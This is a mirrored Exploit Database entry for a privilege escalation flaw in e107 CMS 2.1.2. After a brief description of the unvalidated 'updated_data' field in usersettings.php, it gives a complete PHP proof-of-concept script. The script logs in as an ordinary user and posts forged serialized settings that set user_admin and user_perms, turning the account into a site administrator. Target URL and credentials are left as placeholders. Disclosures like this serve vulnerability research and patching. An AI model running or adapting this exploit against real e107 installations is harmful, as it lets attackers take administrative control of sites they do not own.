e107 CMS 2.1.2 – Privilege Escalation

• Exploit Database
• 13 阅读

• 作者： Kacper Szurek
  日期： 2016-11-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40746/

• # Exploit Title: e107 CMS 2.1.2 Privilege Escalation
  # Date: 09-11-2016
  # Software Link: http://e107.org/
  # Exploit Author: Kacper Szurek
  # Contact: http://twitter.com/KacperSzurek
  # Website: http://security.szurek.pl/
  # Category: webapps
   
  1. Description
  
  Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.
  
  http://security.szurek.pl/e107-cms-211-privilege-escalation.html
  
  2. Proof of Concept
  
  <?php
  
  /**
   * e107 CMS 2.1.2 Privilege Escalation
   * Kacper Szurek
   * http://security.szurek.pl
   */
  function hack($url, $login, $pass, $cookie){
  
  	$ckfile = dirname(__FILE__) . $cookie;
  	$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
  
  	$ch = curl_init();
  	curl_setopt($ch, CURLOPT_URL, $url);
  	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
  	curl_setopt($ch, CURLOPT_POST, 1);
  	$content = curl_exec($ch);
  	if (strpos($content, '?logout') === false) {
  		die("Cannot login");
  	}
  
  	$data = array();
  	$data['user_admin'] = 1;
  	$data['user_perms'] = 0;
  	$data['user_password'] = md5($pass);
  
  	curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
  	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
  	$content = curl_exec($ch);
  
  	if (strpos($content, 'Settings updated') === false) {
  		die("Exploit probably failed");
  	}
  
  	die('OK!');
  }
  
  $url = "http://url_here";
  
  // Standard user credentials 
  $user = "login_here";
  $pass = "password_here";
  
  $cookie = "/cookie.txt";
  hack($url, $user, $pass, $cookie);